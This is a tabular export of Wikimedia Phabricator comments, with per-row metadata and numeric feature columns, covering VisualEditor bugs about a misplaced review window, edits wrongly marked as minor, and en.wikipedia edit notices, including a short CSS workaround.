203616,VisualEditor: Review window behind article,"I can confirm with newest Chrome. Problem only happened to me on the mediawiki.org VE test page, where the en.wikipedia VE works fine.",,,1355400423,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,12.0,15.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.3076923076923075,0.8846153846153846,"I can confirm with newest Chrome. Problem only happened to me on the mediawiki.org VE test page, where the en.wikipedia VE works fine."
203610,VisualEditor: Review window behind article,"**jnichols** wrote:

Screenshot of problem

**Attached**: {F10179}",,,1355382411,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9523809523809526,0.5714285714285714,"**jnichols** wrote:

Screenshot of problem

**Attached**: {F10179}"
203602,VisualEditor: Review window behind article,"**jnichols** wrote:

User:Arctic.gnome VisualEditor Screenshot

//attachment Arctic.gnome VisualEditor Screenshot.JPG ignored as obsolete//",,,1355382188,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.6521739130434785,0.6521739130434783,"**jnichols** wrote:

User:Arctic.gnome VisualEditor Screenshot

//attachment Arctic.gnome VisualEditor Screenshot.JPG ignored as obsolete//"
203593,VisualEditor: Review window behind article,Could you take a screenshot and attach it to this ticket?,,,1355380463,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,Could you take a screenshot and attach it to this ticket?
45040,"VisualEditor: edits marked as ""minor"" without explicit user selection","See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Marking_edits_as_minor for the report and http://en.wikipedia.org/w/index.php?title=Ginger_nut&diff=527654509&oldid=526997552 as an example.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1355346240,1355374103.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dmuriij6wzg4f6nemlx3,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7241379310344827,0.6551724137931034,"See URL for the report and URL as an example.

--------------------------
**Version**: unspecified
**Severity**: normal"
202880,"VisualEditor: edits marked as ""minor"" without explicit user selection",Add to deployment milestone.,,,1357594475,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dmuriij6wzg4f6nemlx3,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Add to deployment milestone.
202873,"VisualEditor: edits marked as ""minor"" without explicit user selection",https://gerrit.wikimedia.org/r/38480,,,1355363288,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dmuriij6wzg4f6nemlx3,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
45013,VisualEditor: Deal with en.wikipedia.org's edit notice system,"There is only one notice, but it says there are 2!

See the screenshot and also
https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=527687053&oldid=527683727

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61335

**Attached**: {F10115}",Medium,50.0,1355324760,1410207320.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_description,resolved,True,c1,1,False,False,False,-29,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,17.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0677966101694913,0.559322033898305,"There is only one notice, but it says there are 2!

See the screenshot and also
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F10115}"
201255,VisualEditor: Deal with en.wikipedia.org's edit notice system,I just fixed it with https://en.wikipedia.org/w/index.php?title=MediaWiki:Common.css&diff=624714120&oldid=624708988,,,1410207320,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,I just fixed it with URL
201250,VisualEditor: Deal with en.wikipedia.org's edit notice system,"This is still occuring.  Pages with no edit notices pop up with ""1 notice"" when VE is launched.  It is not even useful in providing a link to where I *can* add an edit notice.",,,1407760794,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,58,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,7.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,11.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,11.0,2.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,3.2045454545454546,0.7727272727272727,"This is still occuring.  Pages with no edit notices pop up with ""1 notice"" when VE is launched.  It is not even useful in providing a link to where I *can* add an edit notice."
201245,VisualEditor: Deal with en.wikipedia.org's edit notice system,Fixed on-wiki.,,,1394664023,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,Fixed on-wiki.
201240,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Change 118369 merged by jenkins-bot:
mw.Target: Add class ""mw-ve-editNotice"" to edit notices

https://gerrit.wikimedia.org/r/118369",,,1394662517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4814814814814814,0.8148148148148148,"Change 118369 merged by jenkins-bot:
mw.Target: Add class ""mw-ve-editNotice"" to edit notices

GERRIT_URL"
201234,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Change 118369 had a related patch set uploaded by Krinkle:
mw.Target: Add class ""mw-ve-editNotice"" to edit notices

https://gerrit.wikimedia.org/r/118369",,,1394662319,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7,0.8666666666666667,"Change 118369 had a related patch set uploaded by Krinkle:
mw.Target: Add class ""mw-ve-editNotice"" to edit notices

GERRIT_URL"
201226,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Looks like we do have a replacement class that isn't too generic:

 .ve-ui-mwNoticesPopupTool-item ...

Though it is an internal class, not one I'd recommend we promote as an API for wikis to use. Let's use that as a temporary replacement, and add another one soon for the long term.",,,1394661278,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,3.0,6.0,2.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,3.0,8.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,8.0,11.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.646153846153846,0.7692307692307693,"Looks like we do have a replacement class that isn't too generic:

 .ve-ui-mwNoticesPopupTool-item ...

Though it is an internal class, not one I'd recommend we promote as an API for wikis to use. Let's use that as a temporary replacement, and add another one soon for the long term."
201217,VisualEditor: Deal with en.wikipedia.org's edit notice system,"(In reply to Erik Moeller from comment #10)
> Regression; this is happening again on en.wp.

The system is an en.wikipedia hack, and can't be fixed from within VisualEditor without it knowing more than it should about English Wikipedia.

It comes down to their Editnotice system explicitly creating an edit notice to tell sysops ""there are no edit notices on this page, click here to create one"", which they present as... an edit notice.

Thus MediaWiki, and by extend VisualEditor, show it as an edit notice.

Last year I put a system in place that allows them to hide these using a css class.

(In reply to Minh Nguyễn from comment #12)
> I've proposed a client-side workaround at [[MediaWiki talk:Common.css#Edit
> notices and VisualEditor]].

That css was adopted by en.wikipedia as of https://en.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=562641575&oldid=560030040 and that fixed it for them, last year with this:

/**
 * Hide the redlink generated by {{Editnotice}},
 * this overrides the "".sysop-show { display: none; }"" above that applies
 * to the same link as well.
 */
.ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink {
    display: none !important;
}


Commit https://gerrit.wikimedia.org/r/#/c/90378/ accidentally removed this class, thus the above CSS rule no longer applies.

The CSS proposed by Minh on [[MediaWiki talk:Common.css#Edit
> notices and VisualEditor]] is a bit too generic in my opinion, I would recommend against that.",,,1394660986,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,3.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.0,10.666666666666666,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.0,2.6666666666666665,1.6666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,17.333333333333332,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.333333333333333,1.3333333333333333,11.333333333333334,0.0,1.0,7.333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,2.6666666666666665,0.0,1.3333333333333333,0.0,3.3333333333333335,10.666666666666666,5.333333333333333,0.0,1.3333333333333333,0.0,3.3333333333333335,0.0,1.0,2.0,0.6666666666666666,1.0,0.6666666666666666,0.0,0.6666666666666666,3.680773249738767,0.7375043538836642,"(In reply to Erik Moeller from comment #10)
QUOTE

The system is an en.wikipedia hack, and can't be fixed from within VisualEditor without it knowing more than it should about English Wikipedia.

It comes down to their Editnotice system explicitly creating an edit notice to tell sysops ""there are no edit notices on this page, click here to create one"", which they present as... an edit notice.

Thus MediaWiki, and by extend VisualEditor, show it as an edit notice.

Last year I put a system in place that allows them to hide these using a css class.

(In reply to Minh Nguyễn from comment #12)
QUOTE
QUOTE

That css was adopted by en.wikipedia as of URL and that fixed it for them, last year with this:

/**
 * Hide the redlink generated by {{Editnotice}},
 * this overrides the "".sysop-show { display: none; }"" above that applies
 * to the same link as well.
 */
.ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink {
    display: none !important;
}


Commit URL accidentally removed this class, thus the above CSS rule no longer applies.

The CSS proposed by Minh on [[MediaWiki talk:Common.css#Edit
QUOTE"
201208,VisualEditor: Deal with en.wikipedia.org's edit notice system,*** Bug 55951 has been marked as a duplicate of this bug. ***,,,1394495869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55951 has been marked as a duplicate of this bug. ***
201200,VisualEditor: Deal with en.wikipedia.org's edit notice system,*** Bug 61335 has been marked as a duplicate of this bug. ***,,,1394490038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61335 has been marked as a duplicate of this bug. ***
201191,VisualEditor: Deal with en.wikipedia.org's edit notice system,I've proposed a client-side workaround at [[MediaWiki talk:Common.css#Edit notices and VisualEditor]].,,,1392880263,,PHID-USER-sxpswmchfwxkuo2wszeo,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,4.380952380952381,0.9047619047619048,I've proposed a client-side workaround at [[MediaWiki talk:Common.css#Edit notices and VisualEditor]].
201184,VisualEditor: Deal with en.wikipedia.org's edit notice system,Bug 55951 is possibly a duplicate?,,,1392836682,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,Bug 55951 is possibly a duplicate?
201179,VisualEditor: Deal with en.wikipedia.org's edit notice system,Regression; this is happening again on en.wp.,,,1387305797,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.333333333333333,1.0,Regression; this is happening again on en.wp.
201173,VisualEditor: Deal with en.wikipedia.org's edit notice system,Tagging with deploy-train cycle.,,,1357578650,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,1.0,Tagging with deploy-train cycle.
201166,VisualEditor: Deal with en.wikipedia.org's edit notice system,*** Bug 43460 has been marked as a duplicate of this bug. ***,,,1356713507,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,True,,,-27,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 43460 has been marked as a duplicate of this bug. ***
201161,VisualEditor: Deal with en.wikipedia.org's edit notice system,"(In reply to comment #6)
> Change-Id: I65447da8b88a9bae9c24ff155544ff66b3fe9100
Merged by Trevor",,,1355360215,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,21.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.9285714285714286,"(In reply to comment #6)
QUOTE
Merged by Trevor"
